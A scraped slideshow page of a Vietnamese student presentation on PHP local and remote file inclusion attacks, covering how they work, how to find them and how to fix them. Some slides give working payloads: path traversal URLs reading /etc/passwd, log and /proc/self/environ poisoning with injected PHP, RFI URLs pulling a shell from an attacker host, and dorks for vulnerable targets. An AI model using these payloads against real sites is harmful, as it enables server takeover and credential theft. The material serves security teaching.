Successfully reported this slideshow.

File inclusion attack(nop thay)

3,522 views

Published on

Introduction to Big Data with Apache Spark : http://ouo.io/Mqc8L5
File inclusion attack(nop thay)

Published in: Education
  • Be the first to comment

  • Be the first to like this

File inclusion attack(nop thay)

  1. 1. PHP File Inclusion Attack Topic
  2. 2. Thành viên nhóm <ul><li>Lê Hữu Tài </li></ul><ul><ul><li>MSSV 06130068 </li></ul></ul><ul><ul><li>Lớp DH06DTM </li></ul></ul><ul><ul><li>Email [email_address] </li></ul></ul><ul><li>Nguyễn Duy Chinh </li></ul><ul><ul><li>MSSV 06130110 </li></ul></ul><ul><ul><li>Lớp DH06DTM </li></ul></ul><ul><ul><li>Email [email_address] </li></ul></ul><ul><li>Phạm Xuân Cường </li></ul><ul><ul><li>MSSV 05130120 </li></ul></ul><ul><ul><li>Lớp DH06DTM </li></ul></ul><ul><ul><li>Email [email_address] </li></ul></ul>
  3. 3. <ul><li>Giới thiệu tổng quan </li></ul><ul><li>File Inclusion Attack là gì ? </li></ul><ul><li>Cách phát hiện và khai thác lỗi </li></ul><ul><li>Cách tìm kiếm lỗi </li></ul><ul><li>Cách khắc phục , phòng chống </li></ul><ul><li>Demo </li></ul>PHP File Inclusion Attack
  4. 4. Giới thiệu tổng quan
  5. 5. <ul><li>Có thể nói những ứng dụng web như CMS , Forum , Blog .. là cửa ngõ mà hacker có thể quan sát và tìm lỗi khai thác để xâm nhập vào hệ thống đầu tiên. </li></ul>
  6. 6. <ul><li>Hiện nay việc code một website thật sự không quá khó khăn nhưng việc code để chạy được và code site kỹ lưỡng để chống hacker là hai chuyện khác hẳn nhau . </li></ul><ul><li>Nhiều lập trình viên thường cẩu thả trong việc code dẫn đến phát sinh nhiều lỗi, có khi là rất ngớ ngẩn. Chỉ cần 1 vài thao tác là 1 hacker có thể dùng website này để làm bàn đạp tấn công vào server. </li></ul>
  7. 7. <ul><li>Như ta đã biết PHP là một ngôn ngữ mạnh cung cấp hầu hết các hàm cần thiết cho chúng ta lập trình ứng dụng web. </li></ul><ul><li>Trong đó, PHP hỗ trợ cho ta một số hàm cho phép file hiện tại có thể gọi đến một file khác. </li></ul>
  8. 8. <ul><li>Tiện ích của nó là ta có thể code những hàm sử dụng thường xuyên ở một file, rồi những file khác cần dùng đến các hàm trên thì chỉ cần gọi đến file mà ta đã code. </li></ul><ul><li>Một số hàm như : include,include_once,require,require_once </li></ul>
  9. 9. <ul><li>Kết quả của điều này là : </li></ul><ul><ul><li>Nếu như một coder không chú ý kĩ càng về việc kiểm tra biến, kiểm tra quá trình khởi tạo biến . Hacker sẽ lợi dụng điều này để tạo ra một số biến bất hợp pháp để truy cập và xử lý các câu lệnh trái phép ngay trên chính script bị lỗi đó . </li></ul></ul>
  10. 10. File Inclusion Attack
  11. 11. <ul><li>File Inclusion Attack là kĩ thuật khai thác dựa trên lỗi include file trong PHP , nó được chia thành 2 loại : </li></ul><ul><ul><li>Local File Inclusion </li></ul></ul><ul><ul><li>Remote File Inclusion </li></ul></ul>
  12. 12. <ul><li>Điều kiện để khai thác thành công : </li></ul><ul><ul><li>Các biến register_globals , allow_url_include và allow_url_fopen trong file PHP.ini của Apache Server phải bật ON. </li></ul></ul><ul><ul><li>Register_globals khi được bật ON thì tất cả các biến được truyền từ URL được xem như biến toàn cục nên có thể được gọi từ trình duyệt và include file . </li></ul></ul>
  13. 13. Local File Inclusion
  14. 14. <ul><li>Local File Inclusion là kĩ thuật chèn 1 file local vào hệ thống , nếu khai thác được lỗi này hacker có thể xem được rất nhiều thông tin của server victim như các file : passwd , httpd.conf , php.ini , access_log … tùy theo mức độ bảo mật của server. </li></ul>
  15. 15. <ul><li>Ví dụ ta có file vidu1.php như sau : </li></ul><ul><li><?php </li></ul><ul><li>$file = “ ”; </li></ul><ul><li>Include(/home/$file); </li></ul><ul><li>?> </li></ul><ul><li>Ta thấy biến $file chưa được khởi tạo,và nó được include trong thư mục /home , dựa vào lỗi này , chúng ta có thể khởi tạo biến trên trình duyệt dùm cho victim . </li></ul>
  16. 16. <ul><li>Giả sử cấu trúc thư mục của victim là : </li></ul><ul><li>root/home/victim/public_html/forum/includes/vidu1.php </li></ul><ul><li>Ta sẽ thử đường dẫn sau : </li></ul><ul><li>http://victim.com/vidu1.php?file=../../../../../etc/passwd </li></ul><ul><li>Ta đã gán biến $file = “../../../../../etc/passwd” , khi đó code trên sẽ là : </li></ul><ul><li>Include(/home/../../../../../etc/passwd); </li></ul><ul><li>Nó sẽ trở lại 5 cấp của thư mục và hiển thị nội dung của file passwd trên website . </li></ul>
  17. 17. <ul><li>Null-Byte : %00 </li></ul><ul><li>Trong một số trường hợp include được dùng như sau: </li></ul><ul><li>include($page.&quot;.html&quot;); </li></ul><ul><li>Khi đó chỉ các file .html mới được include, vậy làm sao để đọc được file khác? </li></ul><ul><li>Null-byte sẽ cho phép đọc file khác bằng cách thêm null byte vào cuối file cần đọc. </li></ul><ul><li>http://victim.com/vidu1.php?file=../../../../../etc/passwd%00 </li></ul>
  18. 18. <ul><li>Nếu như bạn test http://site.com/page?= ' và nhận được thông báo lỗi dạng như </li></ul><ul><li>Đây là lỗi Local </li></ul>Warning: include(../Caerwyn_1.jpg) [function.include]: failed to open stream: No such file or directory in D:Webssite.comwwwpagecontent_g.php on line 95
  19. 19. <ul><li>Đ iểm quan trọng trong khai thác LFI là đọc được các file nhạy cảm của hệ thống như etc/passwd, /etc/group, httpd.conf … </li></ul><ul><li>File httpd.conf là file cấu hình của webserver Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với việc khai thác là error_log, access_log, DocumentRoot,… </li></ul><ul><li>Một số file quan trọng của website như .htaccess , file cấu hình chứa mật kh ẩ u của database (thường là config.inc, configuration.php,…) </li></ul>
  20. 20. <ul><li>C hứa thông tin về tài khoản của hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu, thường là Brute force . </li></ul><ul><li>Nếu mật khẩu không được shadow, thì password được mã hóa sẽ nằm luôn trong file / etc/passwd </li></ul>
  21. 22. <ul><li>Ẩn code PHP và dấu Shell </li></ul>
  22. 23. <ul><li>Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiê n phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,… </li></ul>
  23. 24. Ảnh đã chèn code php Sau khi include ảnh đó vào
  24. 25. <ul><li>Hai tool có thể dùng là: </li></ul><ul><li>edjpgcom.exe dùng cho Windows </li></ul><ul><li>Download: http://guru.net.vn/content/binary/edjpgcom.zip </li></ul><ul><li>jhead cho Linux và Windows </li></ul><ul><li>Download : http://freshmeat.net/projects/jhead/ </li></ul>
  25. 26. <ul><li>Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf). </li></ul>
  26. 27. <ul><li>File log ghi nhận lỗi có chứa mã PHP </li></ul>
  27. 28. <ul><li>Trong một vài trường hợp một số phần của website lưu dữ liệu ra file text ví dụ như maillist, blogroll,.. </li></ul><ul><li>Thường thì phần này sẽ lưu thông tin người dùng thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces, file config của site,… </li></ul>
  28. 29. <ul><li>Ví dụ đoạn code lỗi: </li></ul><ul><ul><li><?php </li></ul></ul><ul><ul><li>echo ‘<form method=”POST”>’; </li></ul></ul><ul><ul><li>echo ‘E-Mail Address’; </li></ul></ul><ul><ul><li>echo ‘<input name=”email”>’; </li></ul></ul><ul><ul><li>echo ‘<input type=”submit” name=”submit”>’; </li></ul></ul><ul><ul><li>echo ‘</form>’; </li></ul></ul><ul><ul><li>if(isset($_POST['submit'])){ </li></ul></ul><ul><ul><li>$data = $_POST['email']; </li></ul></ul><ul><ul><li>$fp = fopen(”data.txt”,”a+”); </li></ul></ul><ul><ul><li>$wr = fwrite($fp,$data); </li></ul></ul><ul><ul><li>fclose($fp); </li></ul></ul><ul><ul><li>} </li></ul></ul><ul><ul><li>?> </li></ul></ul><ul><li>File dữ liệu là file data.txt, có thể tận dụng file này để khai thác. </li></ul>
  29. 30. <ul><li>Với một số phần mềm hiện nay, hay có thêm phần module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke có đoạn code như sau : </li></ul><ul><ul><ul><li><? </li></ul></ul></ul><ul><ul><ul><li>$REQ = print_r($_REQUEST,true); </li></ul></ul></ul><ul><ul><ul><li>$ip = ‘IP: ‘.$_SERVER['REMOTE_ADDR']; </li></ul></ul></ul><ul><ul><ul><li>$time = ‘Date: ‘.date(”d.m.y - H:i:s”); </li></ul></ul></ul><ul><ul><ul><li>$ref = ‘Referer: ‘.$_SERVER['HTTP_REFERER']; </li></ul></ul></ul><ul><ul><ul><li>$browser = ‘Browser: ‘.$_SERVER['HTTP_USER_AGENT']; </li></ul></ul></ul><ul><ul><ul><li>if(eregi(’UNION’,$REQ) && eregi(’SELECT’,$REQ)){ </li></ul></ul></ul><ul><ul><ul><li>$fp = fopen(”attacks.txt”,”a+”); </li></ul></ul></ul><ul><ul><ul><li>fwrite($fp,”$REQ $ip $time $browser $ref ”); </li></ul></ul></ul><ul><ul><ul><li>fclose($fp); </li></ul></ul></ul><ul><ul><ul><li>header(’Location: http://www.google.com’); </li></ul></ul></ul><ul><ul><ul><li>} </li></ul></ul></ul><ul><ul><ul><li>?> </li></ul></ul></ul>
  30. 31. <ul><li>Khi đó các request từ trình duyệt có từ UNION và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt. </li></ul><ul><li>Như vậy có thể chèn mã PHP vào file đó như sau: </li></ul>http://www.example.com/index.php?id= UNION SELECT <?php echo phpinfo(); ?>
  31. 32. <ul><li>/proc là một thư mục cho phép giao tiếp giữa nhân hệ điều hành (kernel) với với người dùng của hệ điều hành (user). </li></ul><ul><li>Tất cả các file trong /proc không có trên đĩa cứng nó tồn tại trong RAM. </li></ul><ul><li>Trong phần này có thể lợi dụng để chèn code qua Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process ID Apache đang chạy site đó. Tìm được file này cũng có thể include được. </li></ul><ul><li>Kỹ thuật này tương đối phức tạp </li></ul>
  32. 33. <ul><li>Code minh họa: </li></ul><ul><ul><li><?php </li></ul></ul><ul><ul><li>$res = ”; </li></ul></ul><ul><ul><li>$fp = fsockopen(’www.lab.vnsecurity.com’, 80); </li></ul></ul><ul><ul><li>if(!$fp){ </li></ul></ul><ul><ul><li>echo “hi!.”; </li></ul></ul><ul><ul><li>} </li></ul></ul><ul><ul><li>fputs($fp, “GET /index.php?page=/proc/self/environ HTTP/1.1 ”); </li></ul></ul><ul><ul><li>fputs($fp, “Referer: <?php echo phpinfo(); ?> ”); </li></ul></ul><ul><ul><li>fputs($fp, “Host: www.lab.vnsecurity.com ”); </li></ul></ul><ul><ul><li>while(!feof($fp)){ </li></ul></ul><ul><ul><li>$res .= fgets($fp, 128); </li></ul></ul><ul><ul><li>} </li></ul></ul><ul><ul><li>echo $res; </li></ul></ul><ul><ul><li>?> </li></ul></ul>
  33. 34. Remote File Inclusion
  34. 35. <ul><li>Remote File Inclusion ( gọi tắt là RFI ) là một lỗi mà kẻ tấn công có thể chèn đoạn mã độc của chúng (như file uploader hay shells ) vào 1 webpage nào đó bị lỗi , Web server của webpage đó sẽ hiểu và hiển thị theo script của chúng ta , khi đó chúng ta sẽ dễ dàng có đầy đủ quyền kiểm soát Server . </li></ul>
  35. 36. <ul><li>1. Lỗi khai báo biến : </li></ul><ul><li>Ta có ví dụ thứ 2 , file vidu2.php </li></ul><ul><li><?php </li></ul><ul><li>$mkdir = “ ”; </li></ul><ul><li>Include($mkdir/config.php); </li></ul><ul><li>?> </li></ul><ul><li>Biến $mkdir để trống không khai báo. Điều này đã tạo cơ hội cho attacker khai báo dùm . </li></ul>
  36. 37. <ul><li>Nếu attacker dùng địa chỉ như sau: </li></ul><ul><li>http://victim.com/exam2.php?mkdir=http://attacker.com ? </li></ul><ul><li>File vidu2.php của victim lúc này sẽ như sau: </li></ul><ul><li><?php </li></ul><ul><li>$mkdir= “http://attacker.com?”; </li></ul><ul><li>Include ( http://attacker.com?/config.php ); </li></ul><ul><li>?> </li></ul><ul><li>Trong trường hợp này thì website của victim sẽ hiển thị nội dung của trang http://attacker.com , dấu ? ở đây có nghĩa là những phần phía sau dấu ? Sẽ được hiểu là biến và sẽ không thực thi , nó chỉ hiển thị trang http://attacker.com mà bỏ qua /config.php </li></ul>
  37. 38. <ul><li>2. Lỗi khi dùng hàm if </li></ul><ul><ul><li><?php </li></ul></ul><ul><li>If (!$mkdir) </li></ul><ul><li>($mkdir=”config.php”) </li></ul><ul><li>Include($mkdir); </li></ul><ul><li>?> </li></ul>
  38. 39. <ul><li>Code trên có một sai lầm , đó là không khai báo trực tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó không. </li></ul><ul><li>Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các giá trị mặc định của biến đó đã bị vô hiệu hoá. </li></ul><ul><li>http://victim.com/exam3.php?mkdir=http://attacker.com/shell.txt ? </li></ul>
  39. 40. <ul><li>Nếu như bạn test http://site.com/page?= ' và nhận được thông báo lỗi dạng như </li></ul><ul><li>Đây là lỗi Remote </li></ul>Warning: main(): Failed opening '/3_plugin_twindow/skin_gray/frame_design.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/hosting_users/piano18/www/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php on line 27
  40. 41. <ul><li>Chèn file của chúng ta vào webpage của nạn nhân </li></ul><ul><li>http://www.yoursite.com.vn/file.php?file= hacker.com/shell.txt ? </li></ul><ul><li>Khi một website hiển thị một trang khác của chính nó , chúng ta sửa lại URL và đặt trang code php shell của chúng ta vào thì nó sẽ hiểu là trang cần hiện thị và như vậy là chúng ta sẽ có trang php shell ngay trên server của website đó . </li></ul>
  41. 43. <ul><li>Kẻ tấn công có web shell trong tay sẽ đọc được tất cả các file trong website đang chạy shell đó. </li></ul><ul><li>Nếu server kém bảo mật thì kẻ tấn công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng máy chủ đó. </li></ul><ul><li>Lỗi này hay được tấn dụng để tấn công local hack : kiểu tấn công máy chủ, website qua một site bị lỗi trên máy chủ. </li></ul>
  42. 44. <ul><li>Nếu có quyền ghi, tất cả các file có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập, ẩn dấu backdoor để lần sau vào tiếp … </li></ul><ul><li>Kẻ tấn công cũng có thể lấy thông tin truy nhập cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở dữ liệu : download dữ liệu, xóa, thay đổi dữ liệu … </li></ul>
  43. 45. Cách tìm kiếm lỗi File Inclusion
  44. 46. Kiểm hộp đen Kiểm hộp trắng
  45. 47. <ul><li>Kiểm thử hộp trắng </li></ul><ul><li>Khi bạn kiểm tra toàn bộ source code . Có thể có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. </li></ul><ul><li>Tìm các dòng có cú pháp tương tự như  include($page)  , điểm lưu ý là biến  $page  phải chưa được khởi tạo hoặc gán giá trị thì mới có lỗi include file. </li></ul>
  46. 48. <ul><li>Có thể trực tiếp tìm thông tin về lỗi của mục tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như http://www.milw0rm.com nếu đã biết tên phần mềm trang web mục tiêu dùng. </li></ul>
  47. 49. <ul><li>http://www.milw0rm.com/ </li></ul>
  48. 50. <ul><li>http://www.google.com/codesearch </li></ul><ul><li>Cú pháp : lang:php (include|require)(_once)?s*['&quot;(]?s*$_(GET|POST|COOKIE ) </li></ul>
  49. 51. <ul><li>Kiểm thử hộp đen </li></ul><ul><li>Khi attacker tấn công một hệ thống nào đó, chỉ có thể nhìn từ bên ngoài. </li></ul><ul><li>Phương pháp là thử các dữ liệu đầu vào, bất kỳ dữ liệu nào, khi ứng dụng phát sinh lỗi là bạn có thêm thông tin. </li></ul><ul><li>Để có thể tìm ra lỗi thì có thể kiểm thử bằng công cụ quét, hoặc kiểm thử “bằng tay”. </li></ul><ul><li>Ví dụ bạn thấy có các link dạng:  example.com/index.php?page=downloads.html  như vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng cách đọc thử các file khác . </li></ul>
  50. 52. <ul><li>Một số từ khóa phổ biến như : </li></ul><ul><ul><li>inurl:/modules/My_eGallery/public/displayCategory.php?basepath= </li></ul></ul><ul><ul><li>inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path= </li></ul></ul><ul><ul><li>inurl:/include/new-visitor.inc.php?lvc_include_dir= </li></ul></ul><ul><ul><li>inurl:/_functions.php?prefix= </li></ul></ul><ul><ul><li>inurl:/cpcommerce/_functions.php?prefix= </li></ul></ul><ul><ul><li>inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR= </li></ul></ul><ul><ul><li>… </li></ul></ul>
  51. 53. Cách khắc phục , phòng chống
  52. 54. <ul><li>Qua phần trên bạn đã có thể hình dung lỗi như thế nào, tấn công ra sao? </li></ul><ul><li>Vậy làm gì để chống lại các tấn công in c lude file ? </li></ul><ul><li>Về cơ bản có 2 việc phải làm: </li></ul><ul><li>Server an toàn </li></ul><ul><li>Lập trình an toàn (cái này rất quan trọng vì code có thể triển khai ở nhiều server) </li></ul>Cách khắc phục , phòng chống
  53. 55. <ul><li>Để có một server an toàn , bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như quản trị . </li></ul><ul><ul><li>Trong php.ini đặt các tham số </li></ul></ul><ul><ul><ul><li>allow_url_fopen=Off </li></ul></ul></ul><ul><ul><ul><li>register_globals=Off </li></ul></ul></ul><ul><ul><ul><li>Safe_mode=On </li></ul></ul></ul><ul><ul><ul><li>display_error=Off </li></ul></ul></ul><ul><ul><li>Đặt quyền cho các thư mục hợp lý </li></ul></ul>
  54. 56. <ul><ul><li>Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. </li></ul></ul><ul><ul><li>Bắt lỗi chặt chẽ </li></ul></ul><ul><ul><li>Bất cứ biến nào cũng cần khởi tạo </li></ul></ul><ul><ul><li>Sử dụng đường dẫn tuyệt đối </li></ul></ul>
  55. 57. DEMO

×